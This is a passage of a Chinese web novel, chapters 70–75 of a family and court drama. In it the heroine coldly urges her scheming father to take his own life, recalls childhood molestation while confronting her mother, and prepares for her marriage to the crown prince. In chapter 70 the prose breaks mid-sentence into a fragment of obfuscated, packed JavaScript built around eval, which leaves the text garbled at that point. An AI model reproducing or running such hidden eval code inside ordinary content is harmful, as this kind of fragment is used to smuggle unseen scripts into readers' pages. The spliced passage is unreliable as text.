“还早着呢。不过,我绣技好,这些都不在话下。喏,我绣的帕子,送你。” 说着,海云澜递了一条绣着垂枝海棠的帕子过来。 海云澜的绣技一绝,在京城是出了名的。 这上面的垂枝海棠,绣的栩栩如生。 洛云舒抚摸着帕子,又感慨又好奇:“你这样的性子,当初是如何耐住性子绣花的?” “我母亲说,我可以性子跳脱,但不能什么都不会。所以这些必备的女红,都让我学到了最好。学好了,不被人嫌弃,以后才能嫁得好。” 洛云舒感慨:“是啊,父母之爱子,必为之计深远。” 不像她的父母,只想着自己的利益。 “是啊。云舒,你的苦日子过去了,眼下太子殿下立了功,你以后的日子就都是艳阳天了。” “是。”洛云舒含笑应道。 她以后的日子,都会是艳阳天的。 而洛守礼,大概是这艳阳天里的一抹晦暗。 一直到第四天黄昏,洛守礼才如愿见到洛云舒。 才短短几日,洛守礼已经瘦得脱了相。 看来,这几日他过得很不好。 知道他过得不好,洛云舒就安心了。 一见面,洛守礼说话都带了哭腔:“苏苏,为父可算是见到你了……” 第70章 父亲,您自裁吧! 苏苏,是洛云舒的乳名。 但已有多年没人叫过。 猛然间再听到,除了片刻的怔然之后,洛云舒并没有多余的情绪。 小时候,她曾听洛守礼解释她乳名的由来。 他说,苏苏这两个字发音很轻,读起来有江南女子的婉约之感。 作为父亲,他希望她的日子过得安稳富足,衣食无忧,活出女子的温婉自在。 只可惜,愿望终究只是愿望而已。 洛守礼没有庇护她,而她,也没有过成洛守礼想要的样子。 她过得既不温婉,也不自在。 所以,洛云舒看向洛守礼,眸色平静:“父亲找我有事?” “苏苏,你什么时候帮了……” 洛云舒打断他:“父亲,叫我云舒吧。” 伪装的温情,不要也罢。 洛守礼愣了一下,立刻道:“云舒,海大人等人的礼物,你已经收到了吧?” “收到了。” “云舒,为父竟不知你如此厉害,你居然能劝得动海大人!” “父亲谬赞了。是因为我与海大小姐关系亲厚,海大人才愿意听我说了几句话而已,算不上厉害。” 洛守礼很意外:“你和海大小姐关系亲厚,这是什么时候的事?” “最近。” “云舒,你果然聪明,不仅和丞相千金交好,还和海大人的千金有了交情。真是不一般。”说着,洛守礼沾沾自喜。 和丞相千金交好,就等同于和丞相有了关联,于他升迁有望。 和海大人的千金有交情,就可以避免被御史台的**劾。 不被**,又升迁有望,那可真是神仙一般的日子。 更何况,他的女儿下个月就要嫁给太子。 他洛守礼,会成为太子的岳父。 日后太子登基,他是要做国丈的。 一时间,洛守礼眉飞色舞。 可转念想到东方亮的威胁,他满脸的喜色消失得干干净净。 他看向洛云舒,眼神小心翼翼:“云舒,为父遇到了一点麻烦,想向你讨个主意。” “什么麻烦?父亲不妨说来听听。” “许是因为先前阮家的事,东方亮不得已娶了安国公府的丫鬟,他心里愤愤不平,竟想找为父的麻烦,说是要在太子殿下面前,诬陷为父私下里和他有牵扯。” 听完,洛云舒看着洛守礼,语气轻松:“就这事儿?” “云舒,你不要觉得这是一件小事。上位者最忌讳底下的人不够忠诚。为父唯恐惹了太子殿下不喜,会耽误你的婚事。” 洛守礼口口声声,都是在为她着想。 甚至在他的说辞里,还扯出阮家的事情来说项。 而阮家的事情,与她有关。 他这是要把被东方亮威胁的事算在她的头上。 这样一来,哪怕是她帮他解除了这次的危机,也不算是帮他,而是帮自己。 他这位好父亲,还真是会算计。 洛守礼的算计再好,洛云舒也不上套儿,她一脸轻松:“父亲,太子殿下不是那种偏听偏信的人。如果东方亮没有证据,他的话,太子殿下是不会相信的。所以,您大可不必担心。” “但凡是和你有关的事情,为父都是千小心万小心,怎能不担心?眼下还是要想个法子,不让太子殿下信东方亮的话。” 这个法子,自然是要洛云舒出面为他作保。 毕竟,如今人人都知道,太子之所以主动求娶一个小官之女,是对她上了心。 一个年轻的男人对一个女人上了心,就会对这个女人无有不应。 “父亲,你这就是杞人忧天了。你又没有把柄落在东方亮手里,有什么好怕的?” 听到这儿,洛守礼终于急了:“为父怎会有把柄落在他手里?” “既然没有,父亲激动什么?太子殿下不是那种耳根子软的人,没有证据的事情,他是不会相信的。” 洛云舒的话暗藏机锋,堵住了洛守礼的话。 他想把东方亮的威胁归结在她的头上,纯粹是痴心妄想。 这个事,她不认。 她不认,洛守礼就得被逼着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊?”洛守礼惊得从椅子里跳起来,眼睛接连眨了好几下,“没、没这么严重吧?更何况,太子殿下一向贤名在外。” “在官场多年,父亲竟这样天真?太子纵然再有贤名,也不会容忍叛徒。父亲,趁着太子殿下还没有回京,您自裁吧!” “自……自裁?”洛守礼彻底懵了。 片刻后,他摇头,大声反驳:“不行!为父不能死!不能!” 第71章 您若苟活,将我们置于何地? “父亲,您死了,这件事就会成为一笔糊涂账。就算是东方亮再想拿这件事做文章,也是无计可施。” 说着,洛云舒抹了一下眼泪,仿佛是哭了:“父亲,做女儿的也不愿意看着您去死。可事关咱们洛家的未来,这个时候让您苟活于世,才是对您最大的亵渎。既然如此,女儿甘愿忍受这锥心之痛,也愿意成全父亲对整个洛家的厚爱!” 听完,洛守礼怔了怔。 莫名地,他觉得这些话有些耳熟。 恍然间,他记起,在逼洛云舒为霍少远殉节的时候,他曾说过这样的话。 只不过,那时候是他劝洛云舒去死。 而现在,完全变了。 洛守礼摇头反驳:“不,这件事并非没有转圜的余地。太子殿下对你这般看重,只要你愿意从中说和,太子殿下不会怪罪为父的。” 洛云舒摇摇头:“父亲,你太不明白这些上位者了。在别的事情上,他们或许会睁一只眼,闭一只眼,但是在忠诚这件事上,他们眼里揉不得半分沙子。这一次若是不重惩父亲,太子殿下日后如何能御下?若太子殿下的人都如您这般生了反叛的心思,后面还可以毫发无伤,岂不是乱了套?” 洛守礼这才意识到事情的严重性。 但是,他不想死。 洛守礼垂死挣扎:“云舒,你这么聪明,这件事一定还有别的解决的办法的,是不是?” “不,父亲,我想不出什么解决的办法。若是您有什么好法子,不妨教教我。” 洛守礼无计可施。 不然,他不会来找洛云舒讨主意。 这时候,洛云舒又说道:“父亲,您为我和弟弟妹妹们想想。我即将嫁给太子殿下做太子妃,弟弟如今在书院,前途大好。妹妹也即将说亲,您若苟活,将我们置于何地?” “不,一定还有其他的解决办法!”洛守礼坚持。 洛云舒沉默着摇头。 洛守礼摇着头,迅速后退,如一条丧家之犬一般,仓皇而逃。 看着他的背影,洛云舒神色淡漠。 看,如今事情落在他自己身上,他是半分大义的话都说不出来了。 可先前,让她去为霍少远殉节的时候,他那番话是何等的冠冕堂皇。 果然,刀子不落在自己身上,是永远都不知道痛的。 等这刀子落在自己身上,是什么大义都顾不上了,只想苟延残喘,保住自己这一条命。 是夜,洛云舒一夜好眠。 第二天一早,她刚起来,还没吃早饭,洛守礼就来了。 他神色颓靡,像是一夜未眠。 来了之后,他直接坐下,却不发一言。 洛云舒看了他一眼:“父亲可是想好了?若是想好了,我可以让人去买些药。听闻有些药吃了之后,可以毫无痛苦地死去。” “不!不要!”洛守礼大声反驳,那声音,几乎要把屋顶掀翻。 洛云舒的脸色沉了沉:“看来,父亲是不把我和弟弟妹妹们的性命放在心上了?” “不,不是这样的。云舒,你一定还有别的解决问题的法子的,是不是?” “不,我没有。父亲,解铃还须系铃人,这个祸是你闯出来的,要善后,也只能是你。” “可、可我若死了,明辉还不成气候,如何能撑起整个洛家?纵然有你帮衬,可家里没有顶梁柱,终究是不成的。” “父亲多虑了。明辉纵然顽劣,可脑子还算聪明,只要我悉心管教,他还是算听话的。有我这个太子妃帮衬着,他的以后就不会差。至少,我能给他的,比父亲能给的多多了。所以,您可以安心上路。” “不,为父不能死。为父苦读数年才有了今日的造化,如何能这般轻易就舍弃?” “父亲,早知现在,何必当初呢?您是太子殿下未来的岳丈,却想着去接触三殿下的人,我真不知道您心里是怎么想的。” “我、我都是为了你啊!毕竟,当时太子的名声很不好,我是担心你。” 洛云舒摇头:“父亲,您也太沉不住气了。您理应知道,事情还没到最终收尾的时候,那么,一切都有可能发生。” “是,我明白。可事已至此,总得想个善后的法子。” “我没什么法子可想。父亲若是有什么法子,可以尽管试一试。” 洛守礼正要说什么,这时候,周安在门外禀报道:“老爷,衙门里来了人,请您速去。” 最近,户部忙着赈灾的事情,很忙。 纵然内心焦灼,洛守礼还是不敢误事,匆匆忙忙地走了。 他走之后,洛云舒吃早饭,然后就是跟着严嬷嬷学规矩。 这规矩还是要学的。 只不过,距离婚期只有一个月不到,她不再需要进宫向皇后娘娘汇报进度,由严嬷嬷代劳即可。 太子成婚,婚礼一切事宜由礼部操持,就连嫁衣也是如此。 不需要自己绣嫁衣,洛云舒乐得清闲。 她让人在院子里扎了秋千,傍晚时分,清风徐徐,这时候荡一会儿秋千,十分惬意。 如今,她不再管理琐碎的家事,更不用担心账上的银子不够花,她十六年的人生里,尚不曾有过如此悠闲惬意的时候。 她很知足。 时光如流水,三五日的时间,很快就过去了。 洛云舒过得安闲自在。 而洛守礼那边,却是茶饭不思,短短几日过去,人都瘦得脱了相。 大约是怕洛云舒再提让他去死,他始终没再来。 他没来,一直没怎么冒头的孙氏却来了。 她有些着急:“云舒,你父亲最近这是怎么了?” 洛云舒脚尖点地,荡起秋千,摇摇头:“不知。” “他总不会是又看上了什么人吧。之前他看上李姨娘的时候,就是现在这个样子。哼,都是装给我看的,算准了我会心软,会准许他继续纳妾。” 洛云舒看向她,眸子沉沉:“母亲,这些话您拿到我跟前来说,合适吗?” “云舒,你怎么就不明白?万一你父亲做出宠妾灭妻的事情可怎么好?” “母亲怕是忘了,我即将做太子妃。有了我这个做太子妃的女儿,您的地位很稳固,不用担心这个。” “那也不行。男人若是动了情,什么事情都做的出来。我还是不放心。” 说完,孙氏起身要走,又转过身来看洛云舒,问道:“你手里还有没有体己银子?” “没有。怎么,账上没银子了?”洛云舒反问。 “不,有,有的。”说完,孙氏着急忙慌地走了。 看她这个样子,洛云舒就知道,如今洛家的账上没多少银子了。 先前,她放手不管的时候,账上的银子还是很丰厚的,再加上洛家名下的铺子每个月都有进项,所以,维持日常的生活开支是没有任何问题的。 但是,孙氏和洛宝珠先后掌家,二人都是顾前不顾后的性子,一旦手里有了可支配的银子就想花掉,如今,再加上要为她筹备嫁妆,这银子怕是不够用了。 不过,这些事她可不管,只安心荡她的秋千就是。 这时候,灵雀拿着一封信过来,递给洛云舒。 洛云舒拆开一看,不由得喜上眉梢:“快,请洛婉来!” 第72章 您若心里有气,憋着 是二叔来的信。 先前,洛云舒想请二叔到京城来。 他一直没有回信。 洛云舒还以为他是不想来。 谁知,在信中,他告诉洛云舒他已经启程。 这一次来,除了为她送嫁,他还想在京城里找个营生做,顺便找个书院,让儿子洛明谦去读书。 二叔性子本分,不愿意离开故土,可这一次,为了自己的儿女,他也是豁出去了。 想到二叔,洛云舒心里暖暖的。 小时候,父亲要读书,家里的重活就落在她和孙氏头上。 孙氏每每支使她做事的时候,二叔怜惜她年幼,都会替她做。 而且,二叔手巧,随随便便一个草叶子,在他手里折了没几下,就能变成一只栩栩如生的小动物。 有时候是小蚱蜢,有时候是小蝴蝶,有时候是小蜻蜓。 他总会变着法子逗她开心。 也正是因为这个,她掌家的时候,私下里给二叔送了不少银子,想让他的生活好过一些。 洛云舒正想着这些,就见洛婉来了。 “婉婉,这是二叔来的信,你看看。” 洛婉看完,满脸惊喜:“大姐姐,我爹娘和弟弟都要来了?” “是。”说着,洛云舒把最下面的日期指给她看,“你看,这信是十天之前寄出来的。算算日子,大概这几日,二叔他们就能到了。” “真好。”说着,洛婉双手掩面,喜极而泣。 洛云舒也跟着笑了。 之后,她让知意请管家过来,吩咐他让人把西边的两个院子打扫出来,等二叔一家来了,可以立刻住进去。 洛云舒才刚吩咐下去,没多久,孙氏就来了:“云舒,你让人打扫西边的两个院子做什么?” “二叔一家要来,给他们住。” 孙氏立刻皱了眉:“来了一个洛婉白吃白喝还不够,这一家子穷鬼来做什么?” 洛云舒看了她一眼:“母亲,当年若无二叔帮衬,单单是田地里那点事,早把你我累死了。” “他一个庄稼汉,帮忙做点活怎么了?就这点事,也值得拿出来说?” “怎么,母亲要跟我唱反调?”洛云舒笑着问。 孙氏立刻摇头:“不,我没有!” “没有就好。”说着,洛云舒压了压头上的发簪,“母亲,二叔来为我送嫁,这是喜事。我不希望出现任何的变故,您若心里有气,憋着。” “云舒,你……”孙氏的话还没有说完,却在看到洛云舒冷然的脸色之后,戛然而止。 却在这时候,孙氏心思一转,问道:“你二叔能来为你送嫁,那我让你舅舅一家也来。当年若无你舅舅帮衬,你父亲连进京赶考的盘缠都没有。咱们得念着他们的恩情。” “母亲,舅舅拿给父亲的那些盘缠,别人不知道是怎么来的,您也不知道么?” 当年,若不是母亲只顾着娘家,一个劲儿地把家里的好东西往娘家拿,他们的日子怎么会过得那么惨? 说白了,当年孙家拿出来的那些银子,都是孙氏明里暗里送回去的。 听洛云舒说完,孙氏脸色一僵:“云舒,你胡说什么呢?” “我有没有胡说,母亲心里很清楚。我不想多说。至于舅舅一家来送嫁,那是万万不能的。” 孙氏恼了:“怎么,你二叔一家能来,你舅舅就不能来?” “是。不能。” “为何不能?”孙氏尖声叫道。 “因为我不想看到他们。这个理由,够吗?” 孙氏不死心:“云舒,那可是你亲舅舅!” 洛云舒缓步走近,声音发寒:“母亲怕是忘了,当年表兄半夜爬上我的床,对着我污言秽语的时候,我那好舅舅都说了什么?” 那时候,她才九岁而已。 她永远都忘不了舅舅当时的嘴脸。 他说:“摸你怎么了?你这身子早晚都是你表兄的,能嫁给他,是你的福气。” 那时候,她满怀希望,盼着母亲能给她做主。 然而,孙氏掩嘴笑着,附和着舅舅的话:“正是这个理儿。他们青梅竹马,打小感情就好。” 此时此刻,哪怕是旧事重提,孙氏的脸上仍然没有丝毫的懊悔。 她反倒是瞪了洛云舒一眼:“都是些陈芝麻烂谷子的事情,难为你现在还记着。可见你打小就是个爱记仇的性子。这些事情也拿出来说,不嫌丢人!” 洛云舒怒视孙氏:“我没做错什么,即便是丢脸,也是他们丢脸。今日我就把话放在这里,我不允许他们来。他们若敢来,就做好把命留在这里的准备。” 孙氏吓了一跳,瞪着眼睛斥道:“云舒,你说话真是越来越放肆了!那是你亲舅舅,你这般喊打喊杀的,像什么话?” “我没开玩笑。” 看到洛云舒冷然的脸色,孙氏不由得一阵心悸。 这一刻,她意识到,这样的事情,洛云舒还真敢做。 而且,洛云舒也能做到。 孙氏后退几步,嗫嚅道:“你若是不想让他们来,我不让他们来也就是了。不过,宝珠的婚事,你还是得上点儿心,她可是你亲妹子。” “说完了吗?说完了就出去。以后我不叫你,你不要到这里来。” 孙氏双眼含泪:“云舒,我是你亲娘。我怀胎十月生下你,没有功劳也有苦劳。你现在要发达了,怎么看我跟看仇人似的?” “让我为霍少远殉节的时候,你为何没记起这些?” “你、你还在为殉节的事置气?事情都过去这么久了,早该翻篇了。” “不,没过去,永远都过不去。”说完,洛云舒直接下了逐客令,“知意,送客!” 知意起身,请孙氏出去。 孙氏不想走,但看到洛云舒脸色不善,她不敢久留,只好离开。 孙氏走后,知意想讨洛云舒开心,主动说道:“大小姐,奴婢用井水放了些西瓜和甜瓜,您现在要吃吗?奴婢切成块给您送来。” 洛云舒笑着点头,又问:“知意,你觉得我心狠吗?” 知意摇头:“小姐,老爷夫人当时没打算给您活路,不然,夫人不会急着对付奴婢和灵雀。对害自己的人仁慈,那是菩萨也做不到的事情。您只需做您自个儿,谁也没资格替您原谅他们。” 洛云舒舒然一笑:“说得好。去吧,切些瓜果来,我们一起吃。” 自然成熟的瓜果,香甜美味,再用冰凉的井水镇过,香甜中带着丝丝凉意,很是美味。 洛云舒很喜欢。 傍晚,微风轻拂,在瓜果的甜香里,洛云舒又得到了一个好消息…… 第73章 她不会白白重活这一遭 祁县百姓给裴行渊送了万民伞。 万民伞代表着百姓们的认可。 先皇在的时候,曾经出过地方官勒令百姓送万民伞的事,遭到先皇重惩。 也正是因为如此,民间已有数十年不曾出现过万民伞。 而这一次,裴行渊收到了万民伞。 第二日,阮清辞到访,叽叽喳喳地讨论:“云舒,你是不知道这万民伞的份量有多重。这是祁县百姓自发送的,代表他们对太子殿下的感激。我父亲说,太子殿下这次的举措,至少挽救了祁县五万百姓的性命……” 祁县全部的百姓加起来,也不过六万余人。 “非但如此,在太子殿下的授意下,还至少抢收了三十万石粮食,这是这些百姓一年的口粮啊!这一次,太子殿下真是功德无量,听我父亲说,祁县的百姓还想为太子殿下立生祠呢。” 听着这些,洛云舒也笑了。 这是一桩很大的功德。 裴行渊救了这些人,还让他们有了救命的粮食,否则这场洪灾过后,祁县将会成为真正的孤城。 即便有百姓苟活下来,手里没有粮食,也是死路一条。 之前,裴行渊举措强硬,不被人理解,可现在反而成了他有魄力的证明。 身为当权者,顺风顺水固然是好,可若是面临逆境,仍然能够保持本心,那才是难能可贵的。 这一次祁县发生的事情,足以证明裴行渊的能力和心性。 他有成为帝王的魄力。 可以预想,这次的事情将会成为裴行渊坐稳太子之位的法宝。 而且,会为他赢得不少臣子的青睐。 总之,这一次祁县的事情,很圆满。 洛云舒也觉得开心。 毕竟,事情虽然是裴行渊做的,可也有她的一份功劳在里面。 这一次,她挽救了无数人命。 看来,她重活一世,终究还是改变了一些事情。 真好。 她不会白白重活这一遭。 洛云舒喜上眉梢,问阮清辞:“丞相大人可曾说过太子殿下什么时候回来?” “现在赈灾的事情也交给他办,估计要到月底才能回来。”说着,阮清辞促狭一笑,“放心吧,不耽误回来给你做新郎官。” 洛云舒笑着打了她一下,嗔道:“少胡说!” “这两日,东宫那边该来送聘礼了吧?” “是,送聘礼的日子选在五月二十,就在后天。” “真好。云舒,愿你得嫁良人,一生美满。” 洛云舒握着阮清辞的手,由衷地感谢:“多谢你,清辞。同样的祝福,也送给你。” …… 送走阮清辞,洛云舒仍然很开心。 从重活一世到现在,虽然历经波折,但最终的结果是好的。 她有信心做好一切。 不过,裴行渊即将回京,洛守礼该坐不住了。 果然,下值之后,洛守礼急不可耐地来了。 “云舒,你拿个主意啊!” “父亲还没下定决心要自裁?” “云舒,为父苦读数年……” 洛云舒嗤笑一声,打断他的话:“看来在父亲心目中,所谓的家族荣耀也没那么重要。既然如此,以后父亲也别拿家族荣耀来压我,可好?” “好。”说着,洛守礼怔了怔,“云舒,你是不是有办法了?” “是。”洛云舒点头,微微蹙眉,“女儿苦思数日,终于想到一个办法。不过,要冒点险。” “什么办法?”洛守礼迫不及待。 “让东方亮脱离三皇子府。一旦他脱离三皇子府,自然就不会再为三皇子筹谋。如此一来,他也就没必要再对您做什么。” “何不直接杀了他?” 洛云舒看了他一眼,心中暗自惊叹他的狠辣,随后,她缓缓道:“杀人固然一劳永逸,可未必能做的天衣无缝。若事情败露,父亲又该如何自处?” “这倒也是。那,你有什么高招?” 洛云舒弯唇一笑:“这件事,还需要父亲配合。” …… 五月二十,礼部偕同东宫,来洛府下聘礼。 这聘礼是皇后亲自过目,全都是按照给太子妃的规制来的,送来的东西无一不精美,无一不名贵。 孙氏看得眼睛都直了。 这时候,洛守礼警告道:“别打歪主意。这些东西原封不动,全都送到芷荷院去。” “全都送去?”孙氏贴近,低语道,“老爷,宝珠还没出嫁,若是有这么一两件宝物傍身,到了夫家必不会被人看轻。况且,只拿一两件而已,很不显眼,不会被发现的。” “妇人之见!”洛守礼怒斥,“这些东西都是从内务府出来,一一造册登记过的,你若敢动歪心思,当心人头落地!” 一句话,吓得孙氏魂不附体,再不敢动什么心思。 于是,这些聘礼原原本本,送到了洛云舒的芷荷院,装满了好几个库房。 洛守礼亲自把聘礼单子交到洛云舒手里,满目含笑:“云舒,东西都在这里。” 他有求于洛云舒,不敢造次。 洛云舒接过,交给知意去核对,请洛守礼坐下。 “父亲可曾探听到三皇子的现状?” “打探到了。和太子殿下一比,那可真是一个天上,一个地下。他去东南一带,原本是大张旗鼓去的,但做事却是绵绵柔柔的,没有魄力。尤其是在太子殿下的映衬下,更显得他做事无章法,难当大任。他让百姓收割庄稼,也让百姓转移,但都没有强制,以至于造成了许多不该有的损失,伤亡的人数和损毁的农田比祁县的还要多。听闻,陛下震怒,已经勒令三殿下尽快回京。” “原来如此。父亲,最近这几日,你多留意一下外面的消息。” “只留意这些消息吗?”洛守礼不死心。 “当然不是。明日,我会请东宫的东方先生到府上来。” 听闻此言,洛守礼就知道洛云舒有计策了。 他喜上眉梢,觉得心里轻松不少,离开的时候,步子都轻快了许多。 隔日,东方先生如约而至。 他对洛云舒很客气,恭恭敬敬地行了礼。 洛云舒也以礼相待,客气道:“东方先生,太子殿下即将回京。如今他声望正盛,但,这也未必是件好事。” “是。”东方先生很是认可。 他掌管东宫,又是谋士,自然懂得祸福相依的道理。 “回京之后,陛下定会问起太子殿下如何知道祁县会出现洪灾。可太子殿下祁县一行,已经非常疲累。不如你我提前为太子殿下分忧,提前造势,将这件事推到您身上,可好?” “可属下并不会推演天象。” 洛云舒淡淡一笑,意味深长道:“天机降于世人,是要看机缘的。这一次机缘巧合,使得东方先生窥见了天机。如此而已。” 机缘二字玄之又玄,很值得推敲。 若有人让东方先生再次推演天象,就可以推说机缘未到。 东方先生不由得眼前一亮,欣然应允。 当然,他并非盲目听从。 毕竟,这件事最近也困扰着他,能有这么一个解决的办法,很好。 但,临走前,东方先生犹豫着,又施了一礼:“洛大小姐,属下有个不情之请。” 第74章 男人的宠爱是靠不住的 “先生请讲。”洛云舒客气道。 东方先生身子依旧躬着:“想必您也知道,会观天象的,乃是属下那位堂弟,东方亮。如今,他在三殿下手底下做事。三殿下此人疑心太重,若属下会推演天象的事情传扬出去,只怕东方亮会引来三殿下的猜疑。届时,属下可否出手相护?毕竟,属下与他乃是血脉至亲。” “可以。”说完,洛云舒又觉得有点奇怪,“这些事先生就可以做主,为何来问过我的意见?” “太子殿下临走前,曾吩咐属下,若遇事不决,可来问问您的意思。” 洛云舒深感意外。 她并不知道,裴行渊对她如此信任。 她也再次确认,裴行渊是一个很好的合作对象。 两个人合作,最忌讳对彼此不够信任。 裴行渊能够给予她这份信任,很好。 东方先生回去后不过两日,坊间就有消息传出,太子殿下这一次之所以能够提前预知祁县的洪灾,是因为他手底下的东方先生会推演天象。 消息传出不出两日,另有消息传来,三皇子回京了,而东方亮很快被赶出三皇子府。 甚至有人想要刺杀东方亮,被人救下。 寒霜不解:“大小姐,为何要救东方亮?他毕竟害过您。而且,东方先生之前就劝说他投靠太子殿下,可他不愿意。” “救东方亮是小事,让东方先生心安才是要紧事。东方先生是东宫詹事,太子殿下对他十分器重。若因为这件事让东方先生和太子殿下之间有了嫌隙,那就很不值得。而且,我也很想试试,看能不能借这次机会,收揽东方亮。” 东方亮能夜观天象,这是一个很重要的本事。 若能将他收揽到太子麾下,会很有用。 当然,即便不能收揽他,也不算是什么坏事。 至少,现在已经把东方亮和三皇子脱离开来。 这样的话,对洛守礼也算是有个交代。 果然,知道了这件事之后,洛守礼开心坏了。 他当即表态:“云舒,以后,不管是公事还是私事,为父事事都听你的!” 但,洛云舒看得出来,他只是兴致上来,随便说说而已。 于是,洛云舒又道:“父亲不会觉得这样就可以瞒天过海了吧?” “不然呢?” “这件事,太子殿下已经察觉了。” “怎、怎么可能?” 洛云舒点点头,确认道:“是真的。东方先生漏了些口风给我。太子殿下已经知晓此事,但是看在我的份儿上,他暂时不打算跟您计较。” “那就好,那就好。”洛守礼连声说道。 “父亲,您之前也告诫过我,男人的宠爱是靠不住的。这件事他始终会记得,若有朝一日,他不再顾及我,就可能跟您重翻旧账。” 听完,洛守礼的冷汗就下来了。 他自己也觉得,有这种可能。 这些上位者的心思,最难琢磨。 从前的安国公府是,现在的太子殿下更是。 “那、那就没有什么法子了?” 洛云舒摇摇头:“当然不是。我觉得,最稳妥的法子还是尽量不要出现在太子殿下的眼皮子底下。不然,保不齐他什么时候就会想起这件事。他若想追究,也就是一句话的事儿。” “不会吧?”洛守礼皱眉,分析道,“你即将做太子妃,他若是追究此事,岂不是让你也跟着脸面无光?” “父亲,您还是太天真了。像太子殿下这种地位的人,要想解决一个人,未必要用光明正大的手段。毕竟,得急病暴毙而亡,亦或是路遇匪徒,被匪徒所伤,这样的事情都是很常见的。” “那、那怎么办?” “最好的法子还是不要总是在太子殿下眼前晃荡。待我成婚之后,您可以申请外放,离京城远远的。到时候,就算是太子殿下想做什么,也是鞭长莫及。当然,办不办这件事,还得您自己拿主意。” 洛云舒言尽于此。 她知道,洛守礼会选择外放。 因为,他很惜命。 若是选择外放,至少还可以保留官职和性命,孰轻孰重,他分得清楚。 这也算是洛云舒计划的一部分。 洛守礼这个人,功利心太重,随便一个什么权贵勾勾手指,他就有可能上钩。 她即将嫁给太子,以后的日子不会太轻松,所以,她不想后院起火,腹背受敌。 既然如此,就把洛守礼这个变数赶得远远的。 洛守礼外放出京,过个两三年,他或许会改变心性,或许不会,但是到那时候,这些就不再与她相干。 她会跟在裴行渊身边,助他早日登上高位,待他心愿达成,她就可以功成身退,拥有绝对的自由。 两三年的时间,足够了。 到那时候,她准备假死,不打算再和洛守礼有任何交集。 那以后,于她而言,才是真正的山河远阔,人间自由。 她无比期待。 无限的喜悦中,二叔一家来了。 洛云舒亲自接待。 两年未见,二叔瞧着竟然比原先还精神了一些,二婶也是。 更让洛云舒惊奇的是,两年前还是小萝卜头的堂弟洛明谦,此时居然已经比她高出半头。 他长大了,正处在变声期,瓮声瓮气地上前行礼:“见过大姐姐。” 知道他爱读书,洛云舒早已为他备了上好的笔墨纸砚:“明谦,这是送给你的。” 洛明谦接过,彬彬有礼:“明谦谢过大姐姐!” 二叔这时候捧着一个匣子上前:“云舒,你成亲,二叔没什么送给你的,就亲手给你打了这么一副头面,希望你喜欢。” 洛云舒伸手接过,只觉得沉甸甸的。 二婶在旁边直笑:“云舒,快打开看看,看看喜不喜欢。” 旁边,孙氏撇了撇嘴。 老二这家穷鬼,能给出什么名贵的礼物,左不过是些不值钱的银饰罢了。 保不齐,还是铜的。 然而,当洛云舒亲手打开匣子,孙氏不禁看呆了眼——金子!竟然是金子! 第75章 你未免也太厚此薄彼了 不只是孙氏,就连洛云舒也惊呆了。 匣子里面是一整套黄金头面,里面最大的是一顶发冠,发冠之上是一朵朵栩栩如生的桃花,桃花下面是细细的金丝,与发冠相连。 桃花的花瓣做过抛光处理,发冠晃动时,金光闪耀,满室华光。 即便是京城最大的金楼里,也没有如此耀眼的发冠。 洛云舒喜出望外:“二叔,这发冠是您亲手做的?” “是。”二叔洛守家搓着手,有些不好意思,“开店清闲,私底下学了些打金的本事。原本只是试试,谁知道做出了几个样式,很受云州的贵客们喜欢。这不,你大婚,二叔也没什么好送给你的,就做了这个。” “谢谢二叔,这发冠这般精美,我很喜欢。” 这时候,洛宝珠站出来,撒娇一般说道:“二叔,你给大姐姐准备了礼物,那我的呢?” 洛守家脸上带笑:“有,都有!” 说着,他转身,从二婶手里接过一个小匣子,递给洛宝珠。 洛宝珠撇着嘴打开,很是嫌弃:“二叔,你也太偏心了。给大姐姐那么大一顶发冠,就给我这么一个小步摇。” 事实上,这步摇并不算小,看着就很有份量。 而且,这步摇做成了玉兰花的形状不说,下面还缀着用极细的金线勾连而成的流苏。 晃动间,金色流苏熠熠生光,很是华美,即便在京城最负盛名的金楼里,也是难得一见的款式。 若是要买,没有上百两的银子是买不到的。 而洛宝珠的首饰,普遍都在五十两银子以下。 这步摇于她而言,已经是极好的。 是洛宝珠自己不知足。 当下,洛守家的脸色讪讪的,不知如何是好。 洛云舒看过去,直接从洛宝珠手里拿过步摇:“既然你不喜欢,这步摇就归我了。” 洛宝珠要去抢。 被洛守礼喝住:“住手,从你姐姐手里抢东西,成何体统?” 洛宝珠急了:“父亲,分明是姐姐先抢我的!这是二叔给我的!” 洛云舒嗤笑:“怎么,不是你自己吹毛求疵,不想要?” “不、不是。这步摇很好,我很喜欢。” “既然喜欢,那就跟二叔道谢。道了谢,我就把步摇还你。” 洛宝珠求助地看向洛守礼,又看向孙氏,见二人都不表态,就知道他们不打算管。 可这步摇她又实在是想要,只要硬着头皮上前,朝着洛守家微施一礼:“多谢二叔,这步摇我很喜欢。” “喜欢就好,喜欢就好。”洛守家脸上带笑,连声说着。 洛云舒这才微笑着,把步摇还给了洛宝珠。 这时候,洛守家又说道:“宝珠,这次是恭贺云舒大婚,二叔才做了这发冠。来日你成亲,二叔也给你做。” “谢谢二叔!”这一次,洛宝珠学聪明了,嘴很甜。 除了洛明辉在书院没回来,其他人都见面了。 见过之后,洛云舒提议让二叔一家去休息。 毕竟,他们数日舟车劳顿,很累。 团圆宴安排到了晚上。 饭后,洛守礼考教了洛明谦的学问,连连称奇。 洛云舒在旁边听着,不由得多看了洛明谦几眼。 说起来洛明谦比洛明辉还小一岁,但是在学问上,却比洛明辉学得深,见解也很独到。 考教之后,洛守礼连声赞叹:“明谦这孩子真是读书的料。老二啊,我明日就去见鹿鸣书院的山长,争取让明谦早点入学。” 鹿鸣书院正是洛明辉就读的书院,在京城也是能排得上号的。 洛明辉读书不够认真,又沉不下心去学,之前若不是洛云舒时刻盯着,他连去鹿鸣书院的资格都没有。 故而,洛守家听到洛守礼说要送儿子去鹿鸣书院,立刻站起来行礼,感激道:“大哥,多谢你!” “自家兄弟,说什么谢不谢的?” 这时候,洛云舒开了口:“父亲,这件事就不必您费心了。明谦既然有这等才学,又肯用功,待太子殿下回京,我准备请他出面,保举明谦去应天书院入学。” 洛云舒话音落下,犹如水珠子溅入油锅。 孙氏第一个坐不住了,埋怨道:“明辉还在鹿鸣书院呢。” 要知道,应天书院是全大齐排名第一的书院,除了书院的夫子进行日常教学之外,朝中身居要职的官员经常去讲学不说,太傅更是会不定时去讲学,正是因为如此,应天书院的学子眼界开阔,非寻常书院可比。 每次科举,应天书院考中的学子也是数量最多的。 